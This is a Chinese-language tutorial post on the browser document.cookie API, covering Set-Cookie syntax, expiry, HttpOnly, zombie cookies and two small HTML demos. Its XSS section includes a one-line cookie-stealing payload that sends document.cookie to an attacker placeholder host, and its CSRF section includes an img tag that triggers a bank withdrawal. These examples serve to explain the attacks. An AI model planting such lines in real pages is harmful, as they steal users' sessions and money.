概述

前篇:web API简介(一):API,Ajax和Fetch

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。

Cookie介绍

cookies主要用来做如下事情:1.用户登录,购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。

cookies有很多问题。比如它的发送需要利用http请求,所以会有性能损耗;每种浏览器也有cookie条数限制,达到限制就会自动删除一些cookie;cookie还有很严重的安全问题。

cookies只有一个优点,就是它和老式的浏览器很兼容。0.0

Set Cookie

Set-Cookie: <cookie-name>=<cookie-value>

语法

//newCookie = "key=value"
document.cookie = newCookie;

还可以在后面添加这些信息:

(1)";path=path"

(2)";domain=domain"

(3)";max-age=max-age-in-seconds"

(4)";expires=date-in-GMTString-format"

Cookie的时效

如果没有写Expires或Max-Age,当浏览器关闭的时候Cookie会被删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

HttpOnly cookies

为了防止XSS(cross-site scripting)攻击,cookie可以加上Secure和HttpOnly,这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Xss和CSRF

XSS = cross-site scripting;CSRF = Cross-site request forgery。

下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候,会被盗钱。

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Zombie cookies

Zombie cookies = Evercookies。

这类cookies在被删除后会立刻重新建立,所以很难被删除。

相关方面的资料:Evercookie by Samy Kamkar和Zombie cookies on Wikipedia。

cookie操作实例

下面的代码拿到一个叫test2的cookie。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title><script>document.cookie = "test1=Hello";document.cookie = "test2=World";var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");function alertCookieValue() {var showCookie = document.getElementById("show_cookie");showCookie.innerText = cookieValue;};</script>
</head>
<body><button onclick="alertCookieValue()">显示cookie</button><div id="show_cookie"></div>
</body>
</html>

Document <script> document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() { var showCookie = document.getElementById("show_cookie"); showCookie.innerText = cookieValue; }; </script> 显示cookie

下面的代码使事情只做一次。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title><script>function doOnce() {if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {document.getElementById("do_once").disabled = true;document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";}};function resetOnce() { document.getElementById("do_once").disabled = false;document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";}</script>
</head>
<body><button id="do_once" onclick="doOnce()">Only do something once</button><button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>

Document <script> function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { document.getElementById("do_once").disabled = true; document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }; function resetOnce() { document.getElementById("do_once").disabled = false; document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; } </script> Only do something once Reset only once cookie

转载于:https://www.cnblogs.com/yangzhou33/p/8443269.html

web API简介(二):客户端储存之document.cookie API相关推荐

  1. 03、web前端简介

    文章目录 前言 一.web前端简介 二.HTML(超文本标记语言) 2.1 元素.内容和标签 2.2 HTML DOM树 三.CSS和Javascript 3.1 CSS 3.2 Javascript ...

  2. 【SAP】ABAP——Web Service简介与配置方法

      本文转载  https://www.cnblogs.com/zohoo/p/7295920.html. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 ...

  3. SAP Web Service简介与配置方法

    [版权声明]本文为博主原创文章,转载请在明显位置注明出处. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 1. 通过RZ10配置服务器名称和其他参数 2. ...

  4. document.cookie无法获取到cookie

    背景 在前后端联调的时候,后端需要在入参中传入 cookie.于是想通过 document.cookie 来获取,但是发现浏览器有 cookie 但是无法获取到. 场景复现 打开谷歌调试工具,可以看到 ...

  5. amazeui学习笔记二(进阶开发2)--Web组件简介Web Component

    amazeui学习笔记二(进阶开发2)--Web组件简介Web Component 一.总结 1.amaze ui:amaze ui是一个web 组件, 由模板(hbs).样式(LESS).交互(JS ...

  6. 生成用于ASP.NET Web API的TypeScript客户端API

    目录 介绍 备注 背景 推定(Presumptions) 使用代码 步骤0:将NuGet package WebApiClientGen和WebApiClientGen.jQuery安装到Web AP ...

  7. 项目 - Web地图开发【高德地图API】(二)

    导航兔: Web地图开发 [高德地图API] 导航地址 Web地图开发[高德地图API](一) https://qianmoer.blog.csdn.net/article/details/12842 ...

  8. API简介,如何运用API接口获取商品数据(淘宝/天猫、1688、拼多多、京东等二十多个海内外电商平台)

    API:应用程序接口(API:Application Program Interface) 应用程序接口是一组定义.程序及协议的集合,通过 API 接口实现计算机软件之间的相互通信.API 的一个主要 ...

  9. JavaScript(五)—— Web APIs 简介/JavaScript 必须掌握的 DOM 操作 (丰富案例 + 思维导图)

    本篇为 JavaScript 系列笔记第五篇,将陆续更新后续内容.参考:黑马程序员JavaScript核心教程,前端基础教程 系列笔记: JavaScript(一)-- 初识JavaScript / ...

最新文章

  1. C++ : 编译单元、声明和定义、头文件作用、防止头文件在同一个编译单元重复引用、static和不具名空间...
  2. Java绘制基本图形
  3. 正在学习的Angularjs包裹的插件
  4. ubuntu部署eclipse兼容性问题
  5. 解决zabbix-agent二进制班不能连接使用docker搭建的zabbix-server
  6. R语言与Tableau集成之可视化应用
  7. 【Python】xlwt和xlrd模块写入和读取.xls版本EXCEL
  8. Go 标准库: log
  9. Spring boot Mybatis 整合(完整版)
  10. 在C#中有效地使用列表作为字典键
  11. 解决ORA-01578错误一例
  12. win11设置打开闪退怎么办,解决win11系统闪退的问题
  13. mybatis 依赖于jdbc_面试BAT问的最多的27道MyBatis 面试题(含答案和思维导图总结)...
  14. 新闻发布系统3.0(javaBean封装)
  15. dell进入u盘启动模式_戴尔笔记本u盘启动按F12没有usb启动项 dellPC用f12没有u盘启动如何办...
  16. 爱荷华州立大学计算机科学,2020年爱荷华州立大学排名TFE Times美国最佳计算机科学硕士专业排名第63...
  17. 华三模拟器BGP基本配置
  18. JS实现获取汉字首字母拼音、全拼音及混拼音的方法
  19. php inpo,优化PHP in_array()函数,效率提高50倍
  20. 2021年N1叉车司机考试题库及N1叉车司机模拟考试

热门文章

  1. python3.6.1安装教程-Linux下python3.6.1环境配置教程
  2. python程序设计报告-20183122 实验一《Python程序设计》实验报告
  3. python难嘛-为什么说python入门很简单,但是在你这很难?
  4. 小学生python-如何看待小学生开始学Python?
  5. python画图-python绘图篇
  6. python学精通要多久-学Python编程难吗 从入门到精通学习Python要多久
  7. python怎么安装requests库-python怎么安装requests库
  8. python入门指南bl-入门 第一个python可视化程序 基于pyqt5
  9. 学python需要学数据库吗-学习python用什么数据库好?
  10. python使用open打开文件时显示文件不存在-Python打开文件open()的注意事项